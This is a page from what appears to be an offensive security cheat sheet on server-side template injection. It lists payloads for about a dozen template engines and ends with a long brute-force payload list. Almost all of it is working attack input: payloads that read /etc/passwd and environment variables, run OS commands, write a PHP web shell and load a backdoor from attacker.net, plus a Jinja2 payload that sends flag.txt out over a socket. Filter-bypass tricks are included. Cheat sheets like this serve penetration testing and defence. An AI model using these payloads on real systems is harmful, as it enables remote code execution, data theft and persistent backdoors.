Server Side Template Injection (SSTI)

ASP.NET

Razor

@(1+2)

//Command execution
@{
    //Code in C#
}

CSS

Lessjs

#SSRF / LFI
@import (inline) "http://localhost";
@import (inline) "/etc/passwd";

#Remote Command Execution
body {
  color: `global.process.mainModule.require("child_process").execSync("id")`;
}

Java

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

//Retrieve system's environment variables
${T(java.lang.System).getenv()}

//Read File
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Expression Language EL

${1+1}
#{1+1}

//DNS Lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}

//Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

//Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

//Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

//Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

//Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

//Method using ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}

Freemarker

//Read File
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}

//Code Execution
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

Pebble

//Remote Code Execution
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Velocity

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

JavaScript

Handlebars

//Command Execution
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

PHP

Smarty

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Twig

{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File Read
"{{'/etc/passwd'|file_except(1,30)}}"@

#Remote Code Execution
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Python

Jinja2

{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}
<pre>{% debug %}</pre>

#Dump all used classes
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

#Dump all config variables
{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

#Read remote file
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

#Write into remote file
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

#Remote Code Execution
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

#Bypass '_'
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

#Bypass [ and ]
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

#Bypass |join
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

#Bypass most common filters
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Mako

#Access to OS module
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}

Ruby

<%= 7 * 7 %>
#{ 7 * 7 }

#Read File
<%= File.open('/etc/passwd').read %>

#List files and directories
<%= Dir.entries('/') %>

#Code Execution
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Bypasses

#Line break URLencoded
%7B%7B%0d%0a`ls`%7D%7D

Intruder Brute Force List

"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#{ 3 * 3 }
#{ 7 * 7 }
#{1+1}
#{3*3}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
${"freemarker.template.utility.Execute"?new()("id")}
${1+1}
${6*6}
${7*7}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(java.lang.System).getenv()}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
${request.getAttribute("a")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("cmd.exe")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${self.__init__.__globals__['util'].os.system('id')}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.cache.util.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.template.module.runtime.util.os.system("id")}
${{3*3}}
${{7*7}}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
<%= 3 * 3 %>
<%= 7 * 7 %>
<%= Dir.entries('/') %>
<%= File.open('/etc/passwd').read %>
<%= IO.popen('ls /').readlines()  %>
<%= `ls /` %>
<%= system('cat /etc/passwd') %>
<pre>{% debug %}</pre>
@(1+2)
@(6+5)
@import (inline) "/etc/passwd";
@import (inline) "http://localhost";
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
body {color: `global.process.mainModule.require("child_process").execSync("id")`;}
{$smarty.version}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{php}echo `id`;{/php}
{php}echo `id`;{/php} //deprecated in smarty v3
{system('cat index.php')}
{system('ls')}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
{{ [].class.base.subclasses() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
{{ request }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.class.mro()[1].subclasses()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.toUpperCase()}}
{{2*2}}[[3*3]]
{{3*'3'}}
{{3*3}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 49
{{7*'7'}} would result in 7777777
{{7*7}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{app.request.server.all|join(',')}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{config.items()}}
{{dump(app)}}
{{request.__class__}}
{{request|attr("__class__")}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
{{self}}
%7B%7B%0d%0a`ls`%7D%7D

References

PreviousServer Side Request Forgery (SSRF)NextXML External Entity (XXE)

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